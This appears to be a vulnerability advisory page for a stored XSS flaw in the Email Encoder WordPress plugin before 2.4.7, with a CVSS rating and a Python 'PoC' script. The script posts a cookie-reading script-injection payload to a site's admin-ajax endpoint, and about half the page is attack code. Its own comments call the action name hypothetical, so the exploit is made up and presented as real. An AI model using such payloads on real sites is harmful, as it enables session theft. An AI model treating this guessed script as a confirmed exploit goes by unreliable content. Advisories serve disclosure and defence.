The Email Encoder WordPress plugin before 2.4.7 does not escape email addresses retrieved via user input, allowing unauthenticated attackers to perform Stored XSS attacks
CVSS Details
CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
Email Encoder < 2.4.7
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Exploit Title: Email Encoder Plugin < 2.4.7 - Stored XSS
# Date: 2026-05-20
# Exploit Author: Analyst
# Vendor Homepage: https://wordpress.org/
# Software Link: https://wordpress.org/plugins/email-encoder/
# Version: < 2.4.7
# Tested on: WordPress 6.x
target_url = "http://target-site.com/wp-admin/admin-ajax.php"
# The specific action and parameter names depend on the plugin implementation,
# typically involving an email parameter.
payload = '[email protected]"><script>alert(document.cookie)</script><"'
data = {
"action": "email_encoder_action", # Hypothetical action name
"email": payload
}
try:
response = requests.post(target_url, data=data)
if response.status_code == 200:
print("Payload sent successfully. Check the admin page for execution.")
else:
print("Failed to send payload.")
except Exception as e:
print(f"Error: {e}")